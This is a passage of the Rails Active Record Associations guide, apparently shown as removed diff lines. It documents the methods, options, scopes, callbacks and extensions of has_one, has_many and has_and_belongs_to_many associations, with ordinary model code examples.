`association=(associate)` -* `build_association(attributes = {})` -* `create_association(attributes = {})` -* `create_association!(attributes = {})` - -In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration: - -```ruby -class Supplier < ApplicationRecord - has_one :account -end -``` - -Each instance of the `Supplier` model will have these methods: - -```ruby -account -account= -build_account -create_account -create_account! -``` - -NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. - -##### `association` - -The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. - -```ruby -@account = @supplier.account -``` - -If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object. - -```ruby -@account = @supplier.reload.account -``` - -##### `association=(associate)` - -The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value. - -```ruby -@supplier.account = @account -``` - -##### `build_association(attributes = {})` - -The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved. - -```ruby -@account = @supplier.build_account(terms: "Net 30") -``` - -##### `create_association(attributes = {})` - -The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -```ruby -@account = @supplier.create_account(terms: "Net 30") -``` - -##### `create_association!(attributes = {})` - -Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. - -#### Options for `has_one` - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: - -```ruby -class Supplier < ApplicationRecord - has_one :account, class_name: "Billing", dependent: :nullify -end -``` - -The `has_one` association supports these options: - -* `:as` -* `:autosave` -* `:class_name` -* `:dependent` -* `:foreign_key` -* `:inverse_of` -* `:primary_key` -* `:source` -* `:source_type` -* `:through` -* `:validate` - -##### `:as` - -Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail [earlier in this guide](#polymorphic-associations). - -##### `:autosave` - -If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -##### `:class_name` - -If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way: - -```ruby -class Supplier < ApplicationRecord - has_one :account, class_name: "Billing" -end -``` - -##### `:dependent` - -Controls what happens to the associated object when its owner is destroyed: - -* `:destroy` causes the associated object to also be destroyed -* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute) -* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed. -* `:restrict_with_exception` causes an exception to be raised if there is an associated record -* `:restrict_with_error` causes an error to be added to the owner if there is an associated object - -It's necessary not to set or leave `:nullify` option for those associations -that have `NOT NULL` database constraints. If you don't set `dependent` to -destroy such associations you won't be able to change the associated object -because the initial associated object's foreign key will be set to the -unallowed `NULL` value. - -##### `:foreign_key` - -By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: - -```ruby -class Supplier < ApplicationRecord - has_one :account, foreign_key: "supp_id" -end -``` - -TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. - -##### `:inverse_of` - -The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options. - -```ruby -class Supplier < ApplicationRecord - has_one :account, inverse_of: :supplier -end - -class Account < ApplicationRecord - belongs_to :supplier, inverse_of: :account -end -``` - -##### `:primary_key` - -By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. - -##### `:source` - -The `:source` option specifies the source association name for a `has_one :through` association. - -##### `:source_type` - -The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association. - -##### `:through` - -The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail [earlier in this guide](#the-has-one-through-association). - -##### `:validate` - -If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved. - -#### Scopes for `has_one` - -There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example: - -```ruby -class Supplier < ApplicationRecord - has_one :account, -> { where active: true } -end -``` - -You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: - -* `where` -* `includes` -* `readonly` -* `select` - -##### `where` - -The `where` method lets you specify the conditions that the associated object must meet. - -```ruby -class Supplier < ApplicationRecord - has_one :account, -> { where "confirmed = 1" } -end -``` - -##### `includes` - -You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: - -```ruby -class Supplier < ApplicationRecord - has_one :account -end - -class Account < ApplicationRecord - belongs_to :supplier - belongs_to :representative -end - -class Representative < ApplicationRecord - has_many :accounts -end -``` - -If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts: - -```ruby -class Supplier < ApplicationRecord - has_one :account, -> { includes :representative } -end - -class Account < ApplicationRecord - belongs_to :supplier - belongs_to :representative -end - -class Representative < ApplicationRecord - has_many :accounts -end -``` - -##### `readonly` - -If you use the `readonly` method, then the associated object will be read-only when retrieved via the association. - -##### `select` - -The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. - -#### Do Any Associated Objects Exist? - -You can see if any associated objects exist by using the `association.nil?` method: - -```ruby -if @supplier.account.nil? - @msg = "No account found for this supplier" -end -``` - -#### When are Objects Saved? - -When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too. - -If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. - -If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved. - -If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method. - -### `has_many` Association Reference - -The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class. - -#### Methods Added by `has_many` - -When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association: - -* `collection` -* `collection<<(object, ...)` -* `collection.delete(object, ...)` -* `collection.destroy(object, ...)` -* `collection=(objects)` -* `collection_singular_ids` -* `collection_singular_ids=(ids)` -* `collection.clear` -* `collection.empty?` -* `collection.size` -* `collection.find(...)` -* `collection.where(...)` -* `collection.exists?(...)` -* `collection.build(attributes = {}, ...)` -* `collection.create(attributes = {})` -* `collection.create!(attributes = {})` - -In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: - -```ruby -class Author < ApplicationRecord - has_many :books -end -``` - -Each instance of the `Author` model will have these methods: - -```ruby -books -books<<(object, ...) -books.delete(object, ...) -books.destroy(object, ...) -books=(objects) -book_ids -book_ids=(ids) -books.clear -books.empty? -books.size -books.find(...) -books.where(...) -books.exists?(...) -books.build(attributes = {}, ...) -books.create(attributes = {}) -books.create!(attributes = {}) -``` - -##### `collection` - -The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. - -```ruby -@books = @author.books -``` - -##### `collection<<(object, ...)` - -The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model. - -```ruby -@author.books << @book1 -``` - -##### `collection.delete(object, ...)` - -The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`. - -```ruby -@author.books.delete(@book1) -``` - -WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`. - -##### `collection.destroy(object, ...)` - -The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object. - -```ruby -@author.books.destroy(@book1) -``` - -WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option. - -##### `collection=(objects)` - -The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database. - -##### `collection_singular_ids` - -The `collection_singular_ids` method returns an array of the ids of the objects in the collection. - -```ruby -@book_ids = @author.book_ids -``` - -##### `collection_singular_ids=(ids)` - -The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database. - -##### `collection.clear` - -The `collection.clear` method removes all objects from the collection according to the strategy specified by the `dependent` option. If no option is given, it follows the default strategy. The default strategy for `has_many :through` associations is `delete_all`, and for `has_many` associations is to set the foreign keys to `NULL`. - -```ruby -@author.books.clear -``` - -WARNING: Objects will be deleted if they're associated with `dependent: :destroy`, -just like `dependent: :delete_all`. - -##### `collection.empty?` - -The `collection.empty?` method returns `true` if the collection does not contain any associated objects. - -```erb -<% if @author.books.empty? %> - No Books Found -<% end %> -``` - -##### `collection.size` - -The `collection.size` method returns the number of objects in the collection. - -```ruby -@book_count = @author.books.size -``` - -##### `collection.find(...)` - -The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. - -```ruby -@available_books = @author.books.find(1) -``` - -##### `collection.where(...)` - -The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. - -```ruby -@available_books = @author.books.where(available: true) # No query yet -@available_book = @available_books.first # Now the database will be queried -``` - -##### `collection.exists?(...)` - -The `collection.exists?` method checks whether an object meeting the supplied -conditions exists in the collection. It uses the same syntax and options as -[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). - -##### `collection.build(attributes = {}, ...)` - -The `collection.build` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. - -```ruby -@book = @author.books.build(published_at: Time.now, - book_number: "A12345") - -@books = @author.books.build([ - { published_at: Time.now, book_number: "A12346" }, - { published_at: Time.now, book_number: "A12347" } -]) -``` - -##### `collection.create(attributes = {})` - -The `collection.create` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -```ruby -@book = @author.books.create(published_at: Time.now, - book_number: "A12345") - -@books = @author.books.create([ - { published_at: Time.now, book_number: "A12346" }, - { published_at: Time.now, book_number: "A12347" } -]) -``` - -##### `collection.create!(attributes = {})` - -Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. - -#### Options for `has_many` - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: - -```ruby -class Author < ApplicationRecord - has_many :books, dependent: :delete_all, validate: false -end -``` - -The `has_many` association supports these options: - -* `:as` -* `:autosave` -* `:class_name` -* `:counter_cache` -* `:dependent` -* `:foreign_key` -* `:inverse_of` -* `:primary_key` -* `:source` -* `:source_type` -* `:through` -* `:validate` - -##### `:as` - -Setting the `:as` option indicates that this is a polymorphic association, as discussed [earlier in this guide](#polymorphic-associations). - -##### `:autosave` - -If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -##### `:class_name` - -If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an author has many books, but the actual name of the model containing books is `Transaction`, you'd set things up this way: - -```ruby -class Author < ApplicationRecord - has_many :books, class_name: "Transaction" -end -``` - -##### `:counter_cache` - -This option can be used to configure a custom named `:counter_cache`. You only need this option when you customized the name of your `:counter_cache` on the [belongs_to association](#options-for-belongs-to). - -##### `:dependent` - -Controls what happens to the associated objects when their owner is destroyed: - -* `:destroy` causes all the associated objects to also be destroyed -* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute) -* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed. -* `:restrict_with_exception` causes an exception to be raised if there are any associated records -* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects - -##### `:foreign_key` - -By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: - -```ruby -class Author < ApplicationRecord - has_many :books, foreign_key: "cust_id" -end -``` - -TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. - -##### `:inverse_of` - -The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options. - -```ruby -class Author < ApplicationRecord - has_many :books, inverse_of: :author -end - -class Book < ApplicationRecord - belongs_to :author, inverse_of: :books -end -``` - -##### `:primary_key` - -By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. - -Let's say the `users` table has `id` as the primary_key but it also -has a `guid` column. The requirement is that the `todos` table should -hold the `guid` column value as the foreign key and not `id` -value. This can be achieved like this: - -```ruby -class User < ApplicationRecord - has_many :todos, primary_key: :guid -end -``` - -Now if we execute `@todo = @user.todos.create` then the `@todo` -record's `user_id` value will be the `guid` value of `@user`. - - -##### `:source` - -The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. - -##### `:source_type` - -The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association. - -##### `:through` - -The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed [earlier in this guide](#the-has-many-through-association). - -##### `:validate` - -If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved. - -#### Scopes for `has_many` - -There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example: - -```ruby -class Author < ApplicationRecord - has_many :books, -> { where processed: true } -end -``` - -You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: - -* `where` -* `extending` -* `group` -* `includes` -* `limit` -* `offset` -* `order` -* `readonly` -* `select` -* `distinct` - -##### `where` - -The `where` method lets you specify the conditions that the associated object must meet. - -```ruby -class Author < ApplicationRecord - has_many :confirmed_books, -> { where "confirmed = 1" }, - class_name: "Book" -end -``` - -You can also set conditions via a hash: - -```ruby -class Author < ApplicationRecord - has_many :confirmed_books, -> { where confirmed: true }, - class_name: "Book" -end -``` - -If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@author.confirmed_books.create` or `@author.confirmed_books.build` will create books where the confirmed column has the value `true`. - -##### `extending` - -The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions). - -##### `group` - -The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. - -```ruby -class Author < ApplicationRecord - has_many :line_items, -> { group 'books.id' }, - through: :books -end -``` - -##### `includes` - -You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: - -```ruby -class Author < ApplicationRecord - has_many :books -end - -class Book < ApplicationRecord - belongs_to :author - has_many :line_items -end - -class LineItem < ApplicationRecord - belongs_to :book -end -``` - -If you frequently retrieve line items directly from authors (`@author.books.line_items`), then you can make your code somewhat more efficient by including line items in the association from authors to books: - -```ruby -class Author < ApplicationRecord - has_many :books, -> { includes :line_items } -end - -class Book < ApplicationRecord - belongs_to :author - has_many :line_items -end - -class LineItem < ApplicationRecord - belongs_to :book -end -``` - -##### `limit` - -The `limit` method lets you restrict the total number of objects that will be fetched through an association. - -```ruby -class Author < ApplicationRecord - has_many :recent_books, - -> { order('published_at desc').limit(100) }, - class_name: "Book", -end -``` - -##### `offset` - -The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records. - -##### `order` - -The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). - -```ruby -class Author < ApplicationRecord - has_many :books, -> { order "date_confirmed DESC" } -end -``` - -##### `readonly` - -If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association. - -##### `select` - -The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. - -WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error. - -##### `distinct` - -Use the `distinct` method to keep the collection free of duplicates. This is -mostly useful together with the `:through` option. - -```ruby -class Person < ApplicationRecord - has_many :readings - has_many :articles, through: :readings -end - -person = Person.create(name: 'John') -article = Article.create(name: 'a1') -person.articles << article -person.articles << article -person.articles.inspect # => [#
, #
] -Reading.all.inspect # => [#, #] -``` - -In the above case there are two readings and `person.articles` brings out both of -them even though these records are pointing to the same article. - -Now let's set `distinct`: - -```ruby -class Person - has_many :readings - has_many :articles, -> { distinct }, through: :readings -end - -person = Person.create(name: 'Honda') -article = Article.create(name: 'a1') -person.articles << article -person.articles << article -person.articles.inspect # => [#
] -Reading.all.inspect # => [#, #] -``` - -In the above case there are still two readings. However `person.articles` shows -only one article because the collection loads only unique records. - -If you want to make sure that, upon insertion, all of the records in the -persisted association are distinct (so that you can be sure that when you -inspect the association that you will never find duplicate records), you should -add a unique index on the table itself. For example, if you have a table named -`readings` and you want to make sure the articles can only be added to a person once, -you could add the following in a migration: - -```ruby -add_index :readings, [:person_id, :article_id], unique: true -``` - -Once you have this unique index, attempting to add the article to a person twice -will raise an `ActiveRecord::RecordNotUnique` error: - -```ruby -person = Person.create(name: 'Honda') -article = Article.create(name: 'a1') -person.articles << article -person.articles << article # => ActiveRecord::RecordNotUnique -``` - -Note that checking for uniqueness using something like `include?` is subject -to race conditions. Do not attempt to use `include?` to enforce distinctness -in an association. For instance, using the article example from above, the -following code would be racy because multiple users could be attempting this -at the same time: - -```ruby -person.articles << article unless person.articles.include?(article) -``` - -#### When are Objects Saved? - -When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved. - -If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. - -If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. - -If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method. - -### `has_and_belongs_to_many` Association Reference - -The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes. - -#### Methods Added by `has_and_belongs_to_many` - -When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association: - -* `collection` -* `collection<<(object, ...)` -* `collection.delete(object, ...)` -* `collection.destroy(object, ...)` -* `collection=(objects)` -* `collection_singular_ids` -* `collection_singular_ids=(ids)` -* `collection.clear` -* `collection.empty?` -* `collection.size` -* `collection.find(...)` -* `collection.where(...)` -* `collection.exists?(...)` -* `collection.build(attributes = {})` -* `collection.create(attributes = {})` -* `collection.create!(attributes = {})` - -In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: - -```ruby -class Part < ApplicationRecord - has_and_belongs_to_many :assemblies -end -``` - -Each instance of the `Part` model will have these methods: - -```ruby -assemblies -assemblies<<(object, ...) -assemblies.delete(object, ...) -assemblies.destroy(object, ...) -assemblies=(objects) -assembly_ids -assembly_ids=(ids) -assemblies.clear -assemblies.empty? -assemblies.size -assemblies.find(...) -assemblies.where(...) -assemblies.exists?(...) -assemblies.build(attributes = {}, ...) -assemblies.create(attributes = {}) -assemblies.create!(attributes = {}) -``` - -##### Additional Column Methods - -If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes. - -WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`. - - -##### `collection` - -The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. - -```ruby -@assemblies = @part.assemblies -``` - -##### `collection<<(object, ...)` - -The `collection<<` method adds one or more objects to the collection by creating records in the join table. - -```ruby -@part.assemblies << @assembly1 -``` - -NOTE: This method is aliased as `collection.concat` and `collection.push`. - -##### `collection.delete(object, ...)` - -The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. - -```ruby -@part.assemblies.delete(@assembly1) -``` - -##### `collection.destroy(object, ...)` - -The `collection.destroy` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. - -```ruby -@part.assemblies.destroy(@assembly1) -``` - -##### `collection=(objects)` - -The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database. - -##### `collection_singular_ids` - -The `collection_singular_ids` method returns an array of the ids of the objects in the collection. - -```ruby -@assembly_ids = @part.assembly_ids -``` - -##### `collection_singular_ids=(ids)` - -The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database. - -##### `collection.clear` - -The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects. - -##### `collection.empty?` - -The `collection.empty?` method returns `true` if the collection does not contain any associated objects. - -```ruby -<% if @part.assemblies.empty? %> - This part is not used in any assemblies -<% end %> -``` - -##### `collection.size` - -The `collection.size` method returns the number of objects in the collection. - -```ruby -@assembly_count = @part.assemblies.size -``` - -##### `collection.find(...)` - -The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection. - -```ruby -@assembly = @part.assemblies.find(1) -``` - -##### `collection.where(...)` - -The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection. - -```ruby -@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago) -``` - -##### `collection.exists?(...)` - -The `collection.exists?` method checks whether an object meeting the supplied -conditions exists in the collection. It uses the same syntax and options as -[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). - -##### `collection.build(attributes = {})` - -The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved. - -```ruby -@assembly = @part.assemblies.build({assembly_name: "Transmission housing"}) -``` - -##### `collection.create(attributes = {})` - -The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -```ruby -@assembly = @part.assemblies.create({assembly_name: "Transmission housing"}) -``` - -##### `collection.create!(attributes = {})` - -Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid. - -#### Options for `has_and_belongs_to_many` - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, -> { readonly }, - autosave: true -end -``` - -The `has_and_belongs_to_many` association supports these options: - -* `:association_foreign_key` -* `:autosave` -* `:class_name` -* `:foreign_key` -* `:join_table` -* `:validate` - -##### `:association_foreign_key` - -By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly: - -TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example: - -```ruby -class User < ApplicationRecord - has_and_belongs_to_many :friends, - class_name: "User", - foreign_key: "this_user_id", - association_foreign_key: "other_user_id" -end -``` - -##### `:autosave` - -If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -##### `:class_name` - -If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way: - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, class_name: "Gadget" -end -``` - -##### `:foreign_key` - -By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: - -```ruby -class User < ApplicationRecord - has_and_belongs_to_many :friends, - class_name: "User", - foreign_key: "this_user_id", - association_foreign_key: "other_user_id" -end -``` - -##### `:join_table` - -If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default. - -##### `:validate` - -If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved. - -#### Scopes for `has_and_belongs_to_many` - -There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example: - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, -> { where active: true } -end -``` - -You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: - -* `where` -* `extending` -* `group` -* `includes` -* `limit` -* `offset` -* `order` -* `readonly` -* `select` -* `distinct` - -##### `where` - -The `where` method lets you specify the conditions that the associated object must meet. - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, - -> { where "factory = 'Seattle'" } -end -``` - -You can also set conditions via a hash: - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, - -> { where factory: 'Seattle' } -end -``` - -If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle". - -##### `extending` - -The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions). - -##### `group` - -The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, -> { group "factory" } -end -``` - -##### `includes` - -You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. - -##### `limit` - -The `limit` method lets you restrict the total number of objects that will be fetched through an association. - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, - -> { order("created_at DESC").limit(50) } -end -``` - -##### `offset` - -The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records. - -##### `order` - -The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). - -```ruby -class Parts < ApplicationRecord - has_and_belongs_to_many :assemblies, - -> { order "assembly_name ASC" } -end -``` - -##### `readonly` - -If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association. - -##### `select` - -The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. - -##### `distinct` - -Use the `distinct` method to remove duplicates from the collection. - -#### When are Objects Saved? - -When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved. - -If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. - -If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. - -If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method. - -### Association Callbacks - -Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved. - -Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks: - -* `before_add` -* `after_add` -* `before_remove` -* `after_remove` - -You define association callbacks by adding options to the association declaration. For example: - -```ruby -class Author < ApplicationRecord - has_many :books, before_add: :check_credit_limit - - def check_credit_limit(book) - ... - end -end -``` - -Rails passes the object being added or removed to the callback. - -You can stack callbacks on a single event by passing them as an array: - -```ruby -class Author < ApplicationRecord - has_many :books, - before_add: [:check_credit_limit, :calculate_shipping_charges] - - def check_credit_limit(book) - ... - end - - def calculate_shipping_charges(book) - ... - end -end -``` - -If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection. - -### Association Extensions - -You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: - -```ruby -class Author < ApplicationRecord - has_many :books do - def find_by_book_prefix(book_number) - find_by(category_id: book_number[0..2]) - end - end -end -``` - -If you have an extension that should be shared by many associations, you can use a named extension module. For example: - -```ruby -module FindRecentExtension - def find_recent - where("created_at > ?", 5.days.ago) - end -end - -class Author < ApplicationRecord - has_many :books, -> { extending FindRecentExtension } -end - -class Supplier < ApplicationRecord - has_many :deliveries, -> { extending FindRecentExtension } -end -``` - -Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor: - -* `proxy_association.owner` returns the object that the association is a part of. -* `proxy_association.reflection` returns the reflection object that describes the association. -* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`. - -Single Table Inheritance ------------------------- - -Sometimes, you may want to share fields and behavior between different models. -Let's say we have Car, Motorcycle and Bicycle models. We will want to share -the `color` and `price` fields and some methods for all of them, but having some -specific behavior for each, and separated controllers too. - -Rails makes this quite easy. First, let's generate the base Vehicle model: - -```bash -$ rails generate model vehicle type:string color:string price:decimal{10.2} -``` - -Did you note we are adding a "type" field? Since all models will be saved in a -single database table, Rails will save in this column the name of the model that -is being saved. In our example, this can be "Car", 